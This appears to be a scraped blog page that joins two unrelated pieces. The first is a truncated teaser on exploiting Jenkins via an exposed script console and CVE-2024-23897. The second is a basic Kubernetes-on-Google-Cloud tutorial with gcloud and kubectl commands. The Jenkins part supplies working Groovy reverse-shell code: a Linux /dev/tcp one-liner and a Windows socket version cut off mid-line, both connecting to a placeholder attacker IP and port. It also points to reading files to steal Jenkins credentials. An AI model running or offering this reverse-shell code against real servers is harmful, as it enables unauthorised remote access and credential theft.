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Exploiting Jenkins + CVE-2024-23897

Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()   For Windows,   String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...

Kubernetes in Google Cloud : Basics Series

Kubernetes Engine is a container orchestration system for deploying applications to run in clusters.
Kubernetes uses pods as instances running a container.Multiple containers in a pod is also possible.

1) Set the Zone
gcloud config set compute/zone [ZONE_NAME]
2) Create a Kubernetes Cluster
gcloud container clusters create [CLUSTER-NAME]
3) After creating your cluster, need to get authentication credentials to interact with the cluster.
gcloud container clusters get-credentials [CLUSTER-NAME]
4) Deployment of Service/Applciation : kubectl run command in Cloud Shell to create a new deployment "hello-server" from the hello-app container image:
kubectl run hello-server --image=gcr.io/google-samples/hello-app:1.0 --port 8080
In Kubernetes, all containers run in pods. kubectl run command made Kubernetes to create a deployment consisting of a single pod containing the nginx container. A Kubernetes deployment keeps a given number of pods up and running even in the event of failures.
5) Expose the application to the internet.
kubectl expose deployment hello-server --type="LoadBalancer"
6) Verify the running pods
kubectl get pods
7) View the running service.
kubectl get services
8) Scale up the number of pods running the services.
kubectl scale deployment hello-server --replicas 3
Scaling up a deployment is useful when you want to increase available resources for an application

For Google Cloud : Basic Cloud Shell commands , follow here.⏬⏬

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